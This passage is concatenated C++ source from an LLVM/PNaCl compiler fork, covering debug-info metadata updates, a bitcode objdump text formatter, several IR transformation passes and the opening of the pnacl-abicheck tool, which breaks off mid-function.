void DIBuilder::replaceVTableHolder(MDCompositeType* &T, MDCompositeType* VTableHolder) {
{
TypedTrackingMDRef<MDCompositeType> N(T);
N->replaceVTableHolder(MDTypeRef::get(VTableHolder));
T = N.get();
}
// If this didn't create a self-reference, just return.
if (T != VTableHolder)
return;
// Look for unresolved operands. T will drop RAUW support, orphaning any
// cycles underneath it.
if (T->isResolved())
for (const MDOperand &O : T->operands())
if (auto *N = dyn_cast_or_null<MDNode>(O))
trackIfUnresolved(N);
}
void DIBuilder::replaceArrays(MDCompositeType* &T, DIArray Elements,
DIArray TParams) {
{
TypedTrackingMDRef<MDCompositeType> N(T);
if (Elements)
N->replaceElements(Elements);
if (TParams)
N->replaceTemplateParams(MDTemplateParameterArray(TParams));
T = N.get();
}
// If T isn't resolved, there's no problem.
if (!T->isResolved())
return;
// If "T" is resolved, it may be due to a self-reference cycle. Track the
// arrays explicitly if they're unresolved, or else the cycles will be
// orphaned.
if (Elements)
trackIfUnresolved(Elements.get());
if (TParams)
trackIfUnresolved(TParams.get());
}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClObjDumpStream.cpp
//===-- NaClObjDumpStream.cpp --------------------------------------------===//
// Implements an objdump stream (bitcode records/assembly code).
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/Bitcode/NaCl/NaClObjDumpStream.h"
#include "llvm/Support/DataTypes.h"
#include "llvm/Support/ErrorHandling.h"
namespace llvm {
namespace naclbitc {
TextFormatter::TextFormatter(raw_ostream &BaseStream,
unsigned LineWidth,
const char *Tab)
: TextIndenter(Tab),
BaseStream(BaseStream),
TextStream(TextBuffer),
LineWidth(LineWidth),
LinePosition(0),
CurrentIndent(0),
MinLineWidth(20),
AtInstructionBeginning(true),
LineIndent(),
ContinuationIndent(),
ClusteringLevel(0),
ClusteredTextSize(0) {
if (MinLineWidth > LineWidth) MinLineWidth = LineWidth;
}
TextFormatter::~TextFormatter() {}
void TextFormatter::WriteEndline() {
assert(!IsClustering() && "Must close clustering before ending instruction");
Write('\n');
CurrentIndent = 0;
AtInstructionBeginning = true;
LineIndent.clear();
}
std::string TextFormatter::GetToken() {
TextStream.flush();
std::string Token(TextBuffer);
TextBuffer.clear();
if (!Token.empty() && IsClustering())
AppendForReplay(GetTokenDirective::Allocate(this, Token));
return Token;
}
void TextFormatter::Write(char ch) {
switch (ch) {
case '\n':
BaseStream << ch;
LinePosition = 0;
break;
case '\t': {
size_t TabWidth = GetTabSize();
size_t NumChars = LinePosition % TabWidth;
if (NumChars == 0) NumChars = TabWidth;
for (size_t i = 0; i < NumChars; ++i) Write(' ');
break;
}
default:
if (LinePosition == 0) {
WriteLineIndents();
}
BaseStream << ch;
++LinePosition;
}
AtInstructionBeginning = false;
}
void TextFormatter::Write(const std::string &Text) {
if (IsClustering()) {
ClusteredTextSize += Text.size();
} else {
for (std::string::const_iterator
Iter = Text.begin(), IterEnd = Text.end();
Iter != IterEnd; ++Iter) {
Write(*Iter);
}
}
}
void TextFormatter::StartClustering() {
++ClusteringLevel;
}
void TextFormatter::FinishClustering() {
assert(IsClustering() && "Can't finish clustering, not in cluster!");
--ClusteringLevel;
if (IsClustering()) return;
AddLineWrapIfNeeded(ClusteredTextSize);
// Reapply the directives to generate the token text, and set
// indentations. Because clustering can be nested, duplicate before
// replaying, so that nested clusters can replayed and build its own
// list of clustered directives.
std::vector<const Directive*> Directives(ClusteredDirectives);
ClusteredDirectives.clear();
ClusteredTextSize = 0;
for (std::vector<const Directive*>::iterator
Iter = Directives.begin(),
IterEnd = Directives.end();
Iter != IterEnd; ++Iter) {
(*Iter)->Apply();
}
}
void TextFormatter::WriteLineIndents() {
// Add line indent to base stream.
if (AtInstructionBeginning) LineIndent = GetIndent();
BaseStream << LineIndent;
LinePosition += LineIndent.size();
// If not the first line, and local indent not set, add continuation
// indent to the base stream.
unsigned UseIndent = CurrentIndent;
if (!AtInstructionBeginning && CurrentIndent == 0) {
UseIndent = FixIndentValue(LinePosition + ContinuationIndent.size());
}
// Add any additional indents local to the current instruction
// being dumped to the base stream.
for (; LinePosition < UseIndent; ++LinePosition) {
BaseStream << ' ';
}
}
void TextFormatter::Directive::Reapply() const {
// Note: We don't want to store top-level start/finish cluster
// directives on ClusteredDirectives, so that nested replays won't
// reapply them.
bool WasClustering = IsClustering();
MyApply(true);
if (WasClustering && IsClustering())
Formatter->ClusteredDirectives.push_back(this);
}
TextFormatter::Directive *TextFormatter::GetTokenDirective::
Allocate(TextFormatter *Formatter, const std::string &Text) {
GetTokenDirective *Dir = Formatter->GetTokenFreeList.Allocate(Formatter);
Dir->Text = Text;
return Dir;
}
std::string RecordTextFormatter::getBitAddress(uint64_t Bit) {
std::string Address = naclbitc::getBitAddress(Bit);
size_t AddressSize = Address.size();
if (AddressSize >= AddressWriteWidth)
return Address;
// Pad address with leading spaces.
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
for (size_t i = AddressWriteWidth - AddressSize; i > 0; --i) {
StrBuf << " ";
}
StrBuf << Address;
return StrBuf.str();
}
RecordTextFormatter::RecordTextFormatter(ObjDumpStream *ObjDump)
: TextFormatter(ObjDump->Records(), 0, " "),
OpenBrace(this, "<"),
CloseBrace(this, ">"),
Comma(this, ","),
Space(this),
Endline(this),
StartCluster(this),
FinishCluster(this) {
// Handle fact that 64-bit values can take up to 21 characters.
MinLineWidth = 21;
Label = getBitAddress(0);
}
std::string RecordTextFormatter::GetEmptyLabelColumn() {
std::string Buffer;
raw_string_ostream StrmBuffer(Buffer);
for (size_t i = 0; i < Label.size(); ++i) {
StrmBuffer << ' ';
}
StrmBuffer << '|';
return StrmBuffer.str();
}
void RecordTextFormatter::WriteLineIndents() {
if (AtInstructionBeginning) {
BaseStream << Label << '|';
} else {
BaseStream << GetEmptyLabelColumn();
}
LinePosition += Label.size() + 1;
TextFormatter::WriteLineIndents();
}
void RecordTextFormatter::WriteValues(uint64_t Bit,
const llvm::NaClBitcodeValues &Values,
int32_t AbbrevIndex) {
Label = getBitAddress(Bit);
if (AbbrevIndex != ABBREV_INDEX_NOT_SPECIFIED) {
TextStream << AbbrevIndex << ":" << Space;
}
TextStream << OpenBrace;
for (size_t i = 0; i < Values.size(); ++i) {
if (i > 0) {
TextStream << Comma << FinishCluster << Space;
}
TextStream << StartCluster << Values[i];
}
// Note: Because of record codes, Values are never empty. Hence we
// always need to finish the cluster for the last number printed.
TextStream << FinishCluster << CloseBrace << Endline;
}
unsigned ObjDumpStream::DefaultMaxErrors = 20;
unsigned ObjDumpStream::ComboObjDumpSeparatorColumn = 40;
unsigned ObjDumpStream::RecordObjectDumpLength = 80;
ObjDumpStream::ObjDumpStream(raw_ostream &Stream,
bool DumpRecords, bool DumpAssembly)
: Stream(Stream),
DumpRecords(DumpRecords),
DumpAssembly(DumpAssembly),
NumErrors(0),
MaxErrors(DefaultMaxErrors),
RecordWidth(0),
AssemblyBuffer(),
AssemblyStream(AssemblyBuffer),
MessageBuffer(),
MessageStream(MessageBuffer),
ColumnSeparator('|'),
LastKnownBit(0),
RecordBuffer(),
RecordStream(RecordBuffer),
RecordFormatter(this) {
if (DumpRecords) {
RecordWidth = DumpAssembly
? ComboObjDumpSeparatorColumn
: RecordObjectDumpLength;
RecordFormatter.SetLineWidth(RecordWidth);
}
}
raw_ostream &ObjDumpStream::ErrorAt(naclbitc::ErrorLevel Level, uint64_t Bit) {
// Note: Since this method only prints the error line prefix, and
// lets the caller fill in the rest of the error.
if (NumErrors >= MaxErrors) {
// If we've hit the maximum number of errors, let Flush empty the buffers,
// print out reported errors, and then exit the executable.
Flush();
llvm_unreachable("Flush shouldn't return if too many errors");
}
LastKnownBit = Bit;
if (Level >= naclbitc::Error)
++NumErrors;
return naclbitc::ErrorAt(Comments(), Level, Bit);
}
// Dumps the next line of text in the buffer. Returns the number of characters
// printed.
static size_t DumpLine(raw_ostream &Stream,
const std::string &Buffer,
size_t &Index,
size_t Size) {
size_t Count = 0;
while (Index < Size) {
char ch = Buffer[Index];
if (ch == '\n') {
// At end of line, stop here.
++Index;
return Count;
} else {
Stream << ch;
++Index;
++Count;
}
}
return Count;
}
void ObjDumpStream::Flush() {
// Start by flushing all buffers, so that we know the
// text that must be written.
RecordStream.flush();
AssemblyStream.flush();
MessageStream.flush();
// See if there is any record/assembly lines to print.
if ((DumpRecords && !RecordBuffer.empty())
|| (DumpAssembly && !AssemblyBuffer.empty())) {
size_t RecordIndex = 0;
size_t RecordSize = DumpRecords ? RecordBuffer.size() : 0;
size_t AssemblyIndex = 0;
size_t AssemblySize = DumpAssembly ? AssemblyBuffer.size() : 0;
while (RecordIndex < RecordSize || AssemblyIndex < AssemblySize) {
// Dump next record line.
size_t Column = DumpLine(Stream, RecordBuffer, RecordIndex, RecordSize);
// Now move to separator if assembly is to be printed also.
if (DumpRecords && DumpAssembly) {
if (Column == 0) {
// Add indent filler.
std::string Label = RecordFormatter.GetEmptyLabelColumn();
Stream << Label;
Column += Label.size();
}
for (size_t i = Column; i < RecordWidth; ++i) {
Stream << ' ';
}
Stream << ColumnSeparator;
}
// Dump next assembly line.
DumpLine(Stream, AssemblyBuffer, AssemblyIndex, AssemblySize);
Stream << '\n';
}
}
// Print out messages and reset buffers.
Stream << MessageBuffer;
Stream.flush();
ResetBuffers();
if (NumErrors >= MaxErrors)
report_fatal_error("Too many errors, Unable to continue");
}
void ObjDumpStream::FlushThenQuit() {
Flush();
report_fatal_error("Unable to continue");
}
}
}
<file_sep>/lib/Transforms/NaCl/GlobalizeConstantVectors.cpp
//===- GlobalizeConstantVectors.cpp - Globalize constant vector -----------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass replaces all constant vector operands by loads of the same
// vector value from a constant global. After this pass functions don't
// rely on ConstantVector and ConstantDataVector.
//
// The FlattenGlobals pass can be used to further simplify the globals
// that this pass creates.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/SmallPtrSet.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/InstIterator.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
#include <utility>
#include <vector>
using namespace llvm;
namespace {
// Must be a ModulePass since it adds globals.
class GlobalizeConstantVectors : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
GlobalizeConstantVectors() : ModulePass(ID), DL(0) {
initializeGlobalizeConstantVectorsPass(*PassRegistry::getPassRegistry());
}
virtual void getAnalysisUsage(AnalysisUsage &AU) const {
AU.setPreservesCFG();
}
virtual bool runOnModule(Module &M);
private:
typedef SmallPtrSet<Constant *, 64> Constants;
typedef std::pair<Function *, Constants> FunctionConstants;
typedef std::vector<FunctionConstants> FunctionConstantList;
typedef DenseMap<Constant *, GlobalVariable *> GlobalizedConstants;
const DataLayout *DL;
void findConstantVectors(const Function &F, Constants &Cs) const;
void createGlobalConstantVectors(Module &M, const FunctionConstantList &FCs,
GlobalizedConstants &GCs) const;
void materializeConstantVectors(Function &F, const Constants &Cs,
const GlobalizedConstants &GCs) const;
};
const char Name[] = "constant_vector";
} // anonymous namespace
char GlobalizeConstantVectors::ID = 0;
INITIALIZE_PASS(GlobalizeConstantVectors, "globalize-constant-vectors",
"Replace constant vector operands with equivalent loads", false,
false)
void GlobalizeConstantVectors::findConstantVectors(const Function &F,
Constants &Cs) const {
for (const_inst_iterator II = inst_begin(F), IE = inst_end(F); II != IE;
++II) {
for (User::const_op_iterator OI = II->op_begin(), OE = II->op_end();
OI != OE; ++OI) {
Value *V = OI->get();
if (isa<ConstantVector>(V) || isa<ConstantDataVector>(V) ||
isa<ConstantAggregateZero>(V))
Cs.insert(cast<Constant>(V));
}
}
}
void GlobalizeConstantVectors::createGlobalConstantVectors(
Module &M, const FunctionConstantList &FCs,
GlobalizedConstants &GCs) const {
for (FunctionConstantList::const_iterator FCI = FCs.begin(), FCE = FCs.end();
FCI != FCE; ++FCI) {
const Constants &Cs = FCI->second;
for (Constants::const_iterator CI = Cs.begin(), CE = Cs.end(); CI != CE;
++CI) {
Constant *C = *CI;
if (GCs.find(C) != GCs.end())
continue; // The vector has already been globalized.
GlobalVariable *GV =
new GlobalVariable(M, C->getType(), /* isConstant= */ true,
GlobalValue::InternalLinkage, C, Name);
GV->setAlignment(DL->getPrefTypeAlignment(C->getType()));
GV->setUnnamedAddr(true); // The content is significant, not the address.
GCs[C] = GV;
}
}
}
void GlobalizeConstantVectors::materializeConstantVectors(
Function &F, const Constants &Cs, const GlobalizedConstants &GCs) const {
// The first instruction in a function dominates all others, it is therefore a
// safe insertion point.
Instruction *FirstInst = F.getEntryBlock().getFirstNonPHI();
for (Constants::const_iterator CI = Cs.begin(), CE = Cs.end(); CI != CE;
++CI) {
Constant *C = *CI;
GlobalizedConstants::const_iterator GVI = GCs.find(C);
assert(GVI != GCs.end());
GlobalVariable *GV = GVI->second;
LoadInst *MaterializedGV = new LoadInst(GV, Name, /* isVolatile= */ false,
GV->getAlignment(), FirstInst);
// Find users of the constant vector.
typedef SmallVector<User *, 64> UserList;
UserList CVUsers;
for (auto U : C->users()) {
if (Instruction *I = dyn_cast<Instruction>(U))
if (I->getParent()->getParent() != &F)
// Skip uses of the constant vector in other functions: we need to
// materialize it in every function which has a use.
continue;
if (isa<Constant>(U))
// Don't replace global uses of the constant vector: we just created a
// new one. This avoid recursive references.
// Also, it's not legal to replace a constant's operand with
// a non-constant (the load instruction).
continue;
CVUsers.push_back(U);
}
// Replace these Users. Must be done separately to avoid invalidating the
// User iterator.
for (UserList::iterator UI = CVUsers.begin(), UE = CVUsers.end(); UI != UE;
++UI) {
User *U = *UI;
for (User::op_iterator OI = U->op_begin(), OE = U->op_end(); OI != OE;
++OI)
if (dyn_cast<Constant>(*OI) == C)
// The current operand is a use of the constant vector, replace it
// with the materialized one.
*OI = MaterializedGV;
}
}
}
bool GlobalizeConstantVectors::runOnModule(Module &M) {
DL = &M.getDataLayout();
FunctionConstantList FCs;
FCs.reserve(M.size());
for (Module::iterator FI = M.begin(), FE = M.end(); FI != FE; ++FI) {
Constants Cs;
findConstantVectors(*FI, Cs);
if (!Cs.empty())
FCs.push_back(std::make_pair(&*FI, Cs));
}
GlobalizedConstants GCs;
createGlobalConstantVectors(M, FCs, GCs);
for (FunctionConstantList::const_iterator FCI = FCs.begin(), FCE = FCs.end();
FCI != FCE; ++FCI)
materializeConstantVectors(*FCI->first, FCI->second, GCs);
return FCs.empty();
}
ModulePass *llvm::createGlobalizeConstantVectorsPass() {
return new GlobalizeConstantVectors();
}
<file_sep>/lib/Transforms/NaCl/SimplifyAllocas.cpp
//===- SimplifyAllocas.cpp - Simplify allocas to arrays of bytes --===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Simplify all allocas into allocas of byte arrays.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/Transforms/NaCl.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
namespace {
class SimplifyAllocas : public BasicBlockPass {
public:
static char ID; // Pass identification, replacement for typeid
SimplifyAllocas()
: BasicBlockPass(ID), Initialized(false), M(nullptr), IntPtrType(nullptr),
Int8Type(nullptr), DL(nullptr) {
initializeSimplifyAllocasPass(*PassRegistry::getPassRegistry());
}
private:
bool Initialized;
const Module *M;
Type *IntPtrType;
Type *Int8Type;
const DataLayout *DL;
using llvm::Pass::doInitialization;
bool doInitialization(Function &F) override {
if (!Initialized) {
M = F.getParent();
DL = &M->getDataLayout();
IntPtrType = DL->getIntPtrType(M->getContext());
Int8Type = Type::getInt8Ty(M->getContext());
Initialized = true;
return true;
}
return false;
}
AllocaInst *findAllocaFromCast(CastInst *CInst) {
Value *Op0 = CInst->getOperand(0);
while (!llvm::isa<AllocaInst>(Op0)) {
auto *NextCast = llvm::dyn_cast<CastInst>(Op0);
if (NextCast && NextCast->isNoopCast(IntPtrType)) {
Op0 = NextCast->getOperand(0);
} else {
return nullptr;
}
}
return llvm::cast<AllocaInst>(Op0);
}
bool runOnBasicBlock(BasicBlock &BB) override {
bool Changed = false;
for (BasicBlock::iterator I = BB.getFirstInsertionPt(), E = BB.end();
I != E;) {
Instruction *Inst = &*I++;
if (AllocaInst *Alloca = dyn_cast<AllocaInst>(Inst)) {
Changed = true;
Type *ElementTy = Alloca->getType()->getPointerElementType();
Constant *ElementSize =
ConstantInt::get(IntPtrType, DL->getTypeAllocSize(ElementTy));
// Expand out alloca's built-in multiplication.
Value *MulSize;
if (ConstantInt *C = dyn_cast<ConstantInt>(Alloca->getArraySize())) {
const APInt Value =
C->getValue().zextOrTrunc(IntPtrType->getScalarSizeInBits());
MulSize = ConstantExpr::getMul(ElementSize,
ConstantInt::get(IntPtrType, Value));
} else {
Value *ArraySize = Alloca->getArraySize();
if (ArraySize->getType() != IntPtrType) {
// We assume ArraySize is always positive, and thus is unsigned.
assert(!isa<ConstantInt>(ArraySize) ||
!cast<ConstantInt>(ArraySize)->isNegative());
ArraySize =
CastInst::CreateIntegerCast(ArraySize, IntPtrType,
/* isSigned = */ false, "", Alloca);
}
MulSize = CopyDebug(
BinaryOperator::Create(Instruction::Mul, ElementSize, ArraySize,
Alloca->getName() + ".alloca_mul", Alloca),
Alloca);
}
unsigned Alignment = Alloca->getAlignment();
if (Alignment == 0)
Alignment = DL->getPrefTypeAlignment(ElementTy);
AllocaInst *Tmp =
new AllocaInst(Int8Type, MulSize, Alignment, "", Alloca);
CopyDebug(Tmp, Alloca);
Tmp->takeName(Alloca);
BitCastInst *BC = new BitCastInst(Tmp, Alloca->getType(),
Tmp->getName() + ".bc", Alloca);
CopyDebug(BC, Alloca);
Alloca->replaceAllUsesWith(BC);
Alloca->eraseFromParent();
}
else if (auto *Call = dyn_cast<IntrinsicInst>(Inst)) {
if (Call->getIntrinsicID() == Intrinsic::dbg_declare) {
// dbg.declare's first argument is a special metadata that wraps a
// value, and RAUW works on those. It is supposed to refer to the
// alloca that represents the variable's storage, but the alloca
// simplification may have RAUWed it to use the bitcast.
// Fix it up here by recreating the metadata to use the new alloca.
auto *MV = cast<MetadataAsValue>(Call->getArgOperand(0));
// Sometimes dbg.declare points to an argument instead of an alloca.
if (auto *VM = dyn_cast<ValueAsMetadata>(MV->getMetadata())) {
if (auto *CInst = dyn_cast<CastInst>(VM->getValue())) {
if (AllocaInst *Alloca = findAllocaFromCast(CInst)) {
Call->setArgOperand(
0,
MetadataAsValue::get(Inst->getContext(),
ValueAsMetadata::get(Alloca)));
Changed = true;
}
}
}
}
}
}
return Changed;
}
};
}
char SimplifyAllocas::ID = 0;
INITIALIZE_PASS(SimplifyAllocas, "simplify-allocas",
"Simplify allocas to arrays of bytes", false, false)
BasicBlockPass *llvm::createSimplifyAllocasPass() {
return new SimplifyAllocas();
}
<file_sep>/lib/Transforms/NaCl/ExpandSmallArguments.cpp
//===- ExpandSmallArguments.cpp - Expand out arguments smaller than i32----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// LLVM IR allows function return types and argument types such as
// "zeroext i8" and "signext i8". The Language Reference says that
// zeroext "indicates to the code generator that the parameter or
// return value should be zero-extended to the extent required by the
// target's ABI (which is usually 32-bits, but is 8-bits for a i1 on
// x86-64) by the caller (for a parameter) or the callee (for a return
// value)".
//
// This can lead to non-portable behaviour when calling functions
// without C prototypes or with wrong C prototypes.
//
// In order to remove this non-portability from PNaCl, and to simplify
// the language that the PNaCl translator accepts, the
// ExpandSmallArguments pass widens integer arguments and return types
// to be at least 32 bits. The pass inserts explicit cast
// instructions (ZExtInst/SExtInst/TruncInst) as needed.
//
// The pass chooses between ZExtInst and SExtInst widening based on
// whether a "signext" attribute is present. However, in principle
// the pass could always use zero-extension, because the extent to
// which either zero-extension or sign-extension is done is up to the
// target ABI, which is up to PNaCl to specify.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
#include "llvm/Transforms/Utils/BasicBlockUtils.h"
using namespace llvm;
namespace {
// This is a ModulePass because the pass recreates functions in
// order to change their arguments' types.
class ExpandSmallArguments : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
ExpandSmallArguments() : ModulePass(ID) {
initializeExpandSmallArgumentsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char ExpandSmallArguments::ID = 0;
INITIALIZE_PASS(ExpandSmallArguments, "expand-small-arguments",
"Expand function arguments to be at least 32 bits in size",
false, false)
// Returns the normalized version of the given argument/return type.
static Type *NormalizeType(Type *Ty) {
if (IntegerType *IntTy = dyn_cast<IntegerType>(Ty)) {
if (IntTy->getBitWidth() < 32) {
return IntegerType::get(Ty->getContext(), 32);
}
}
return Ty;
}
// Returns the normalized version of the given function type.
static FunctionType *NormalizeFunctionType(FunctionType *FTy) {
if (FTy->isVarArg()) {
report_fatal_error(
"ExpandSmallArguments does not handle varargs functions");
}
SmallVector<Type *, 8> ArgTypes;
for (unsigned I = 0; I < FTy->getNumParams(); ++I) {
ArgTypes.push_back(NormalizeType(FTy->getParamType(I)));
}
return FunctionType::get(NormalizeType(FTy->getReturnType()),
ArgTypes, false);
}
// Convert the given function to use normalized argument/return types.
static bool ConvertFunction(Function *Func) {
FunctionType *FTy = Func->getFunctionType();
FunctionType *NFTy = NormalizeFunctionType(FTy);
if (NFTy == FTy)
return false; // No change needed.
Function *NewFunc = RecreateFunction(Func, NFTy);
// Move the arguments across to the new function.
for (Function::arg_iterator Arg = Func->arg_begin(), E = Func->arg_end(),
NewArg = NewFunc->arg_begin();
Arg != E; ++Arg, ++NewArg) {
NewArg->takeName(Arg);
if (Arg->getType() == NewArg->getType()) {
Arg->replaceAllUsesWith(NewArg);
} else {
Instruction *Trunc = new TruncInst(
NewArg, Arg->getType(), NewArg->getName() + ".arg_trunc",
NewFunc->getEntryBlock().getFirstInsertionPt());
Arg->replaceAllUsesWith(Trunc);
}
}
if (FTy->getReturnType() != NFTy->getReturnType()) {
// Fix up return instructions.
Instruction::CastOps CastType =
Func->getAttributes().hasAttribute(0, Attribute::SExt) ?
Instruction::SExt : Instruction::ZExt;
for (Function::iterator BB = NewFunc->begin(), E = NewFunc->end();
BB != E;
++BB) {
for (BasicBlock::iterator Iter = BB->begin(), E = BB->end();
Iter != E; ) {
Instruction *Inst = Iter++;
if (ReturnInst *Ret = dyn_cast<ReturnInst>(Inst)) {
Value *Ext = CopyDebug(
CastInst::Create(CastType, Ret->getReturnValue(),
NFTy->getReturnType(),
Ret->getReturnValue()->getName() + ".ret_ext",
Ret),
Ret);
CopyDebug(ReturnInst::Create(Ret->getContext(), Ext, Ret), Ret);
Ret->eraseFromParent();
}
}
}
}
Func->eraseFromParent();
return true;
}
// Convert the given call to use normalized argument/return types.
template <class T> static bool ConvertCall(T *Call, Pass *P) {
// Don't try to change calls to intrinsics.
if (isa<IntrinsicInst>(Call))
return false;
FunctionType *FTy = cast<FunctionType>(
Call->getCalledValue()->getType()->getPointerElementType());
FunctionType *NFTy = NormalizeFunctionType(FTy);
if (NFTy == FTy)
return false; // No change needed.
// Convert arguments.
SmallVector<Value *, 8> Args;
for (unsigned I = 0; I < Call->getNumArgOperands(); ++I) {
Value *Arg = Call->getArgOperand(I);
if (NFTy->getParamType(I) != FTy->getParamType(I)) {
Instruction::CastOps CastType =
Call->getAttributes().hasAttribute(I + 1, Attribute::SExt) ?
Instruction::SExt : Instruction::ZExt;
Arg = CopyDebug(CastInst::Create(CastType, Arg, NFTy->getParamType(I),
"arg_ext", Call), Call);
}
Args.push_back(Arg);
}
Value *CastFunc =
CopyDebug(new BitCastInst(Call->getCalledValue(), NFTy->getPointerTo(),
Call->getName() + ".arg_cast", Call), Call);
Value *Result = NULL;
if (CallInst *OldCall = dyn_cast<CallInst>(Call)) {
CallInst *NewCall = CopyDebug(CallInst::Create(CastFunc, Args, "", OldCall),
OldCall);
NewCall->takeName(OldCall);
NewCall->setAttributes(OldCall->getAttributes());
NewCall->setCallingConv(OldCall->getCallingConv());
NewCall->setTailCall(OldCall->isTailCall());
Result = NewCall;
if (FTy->getReturnType() != NFTy->getReturnType()) {
Result = CopyDebug(new TruncInst(NewCall, FTy->getReturnType(),
NewCall->getName() + ".ret_trunc", Call),
Call);
}
} else if (InvokeInst *OldInvoke = dyn_cast<InvokeInst>(Call)) {
BasicBlock *Parent = OldInvoke->getParent();
BasicBlock *NormalDest = OldInvoke->getNormalDest();
BasicBlock *UnwindDest = OldInvoke->getUnwindDest();
if (FTy->getReturnType() != NFTy->getReturnType()) {
if (BasicBlock *SplitDest = SplitCriticalEdge(Parent, NormalDest)) {
NormalDest = SplitDest;
}
}
InvokeInst *New = CopyDebug(InvokeInst::Create(CastFunc, NormalDest,
UnwindDest, Args,
"", OldInvoke),
OldInvoke);
New->takeName(OldInvoke);
if (FTy->getReturnType() != NFTy->getReturnType()) {
Result = CopyDebug(new TruncInst(New, FTy->getReturnType(),
New->getName() + ".ret_trunc",
NormalDest->getTerminator()),
OldInvoke);
} else {
Result = New;
}
New->setAttributes(OldInvoke->getAttributes());
New->setCallingConv(OldInvoke->getCallingConv());
}
Call->replaceAllUsesWith(Result);
Call->eraseFromParent();
return true;
}
bool ExpandSmallArguments::runOnModule(Module &M) {
bool Changed = false;
for (Module::iterator Iter = M.begin(), E = M.end(); Iter != E; ) {
Function *Func = Iter++;
// Don't try to change intrinsic declarations because intrinsics
// will continue to have non-normalized argument types. For
// example, memset() takes an i8 argument. It shouldn't matter
// whether we modify the types of other function declarations, but
// we don't expect to see non-intrinsic function declarations in a
// PNaCl pexe.
if (Func->empty())
continue;
for (Function::iterator BB = Func->begin(), E = Func->end(); BB != E;
++BB) {
for (BasicBlock::iterator Iter = BB->begin(), E = BB->end(); Iter != E;) {
Instruction *Inst = Iter++;
if (CallInst *Call = dyn_cast<CallInst>(Inst)) {
Changed |= ConvertCall(Call, this);
} else if (InvokeInst *Invoke = dyn_cast<InvokeInst>(Inst)) {
Changed |= ConvertCall(Invoke, this);
}
}
}
Changed |= ConvertFunction(Func);
}
return Changed;
}
ModulePass *llvm::createExpandSmallArgumentsPass() {
return new ExpandSmallArguments();
}
<file_sep>/tools/pnacl-abicheck/pnacl-abicheck.cpp
//===-- pnacl-abicheck.cpp - Check PNaCl bitcode ABI ----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This tool checks files for compliance with the PNaCl bitcode ABI
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/NaCl.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/IRReader/IRReader.h"
#include "llvm/Pass.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/FormattedStream.h"
#include "llvm/Support/SourceMgr.h"
#include <string>
using namespace llvm;
static cl::opt<std::string>
InputFilename(cl::Positional, cl::desc("<input bitcode>"), cl::init("-"));
static cl::opt<bool>
VerboseErrors(
"verbose-parse-errors",
cl::desc("Print out more descriptive PNaCl bitcode parse errors"),
cl::init(false));
static cl::opt<bool>
Quiet("q", cl::desc("Do not print error messages"));
static cl::opt<NaClFileFormat>
InputFileFormat(
"bitcode-format",
cl::desc("Define format of input file:"),
cl::values(
clEnumValN(LLVMFormat, "llvm", "LLVM file (default)"),
clEnumValN(PNaClFormat, "pnacl", "PNaCl bitcode file"),
clEnumValEnd),
cl::init(AutodetectFileFormat));
// Print any errors collected by the error reporter. Return true if
// there were any.
static bool CheckABIVerifyErrors(PNaClABIErrorReporter &Reporter,
const Twine &Name) {
bool HasErrors = Reporter.getErrorCount() > 0;
if (HasErrors) {
if (!Quiet) {
outs() << "ERROR: " << Name << " is not valid PNaCl bitcode:\n";
Reporter.printErrors(outs());
}
}
Reporter.reset();
return HasErrors;
}
int main(int argc, char **argv) {
LLVMContext &Context = getGlobalContext();
SMDiagnostic Err;
cl::ParseCommandLineOptions(argc, argv, "PNaCl Bitcode ABI checker\n");
if (Quiet)
VerboseErrors = false;
DiagnosticHandlerFunction DiagnosticHandler =
VerboseErrors ? redirectNaClDiagnosticToStream(errs()) : nullptr;
std::unique_ptr<Module> Mod(NaClParseIRFile(InputFilename, InputFileFormat,
Err, Context, DiagnosticHandler));
if (Mod.get() == 0) {
Err.print(argv[0], errs());
return 1;
}
PNaClABIErrorReporter ABIErrorReporter;
ABIErrorReporter.setNonFatal();
bool ErrorsFound = false;
std::unique_ptr<ModulePass> ModuleChecker(
createPNaClABIVerifyModulePass(&ABIErrorReporter));
ModuleChecker->doInitialization(*Mod);
ModuleChecker->runOnModule(*Mod);
ErrorsFound |= CheckABIVerifyErrors(ABIErrorReporter, "Module");
std::unique_ptr<legacy::FunctionPassManager> PM(
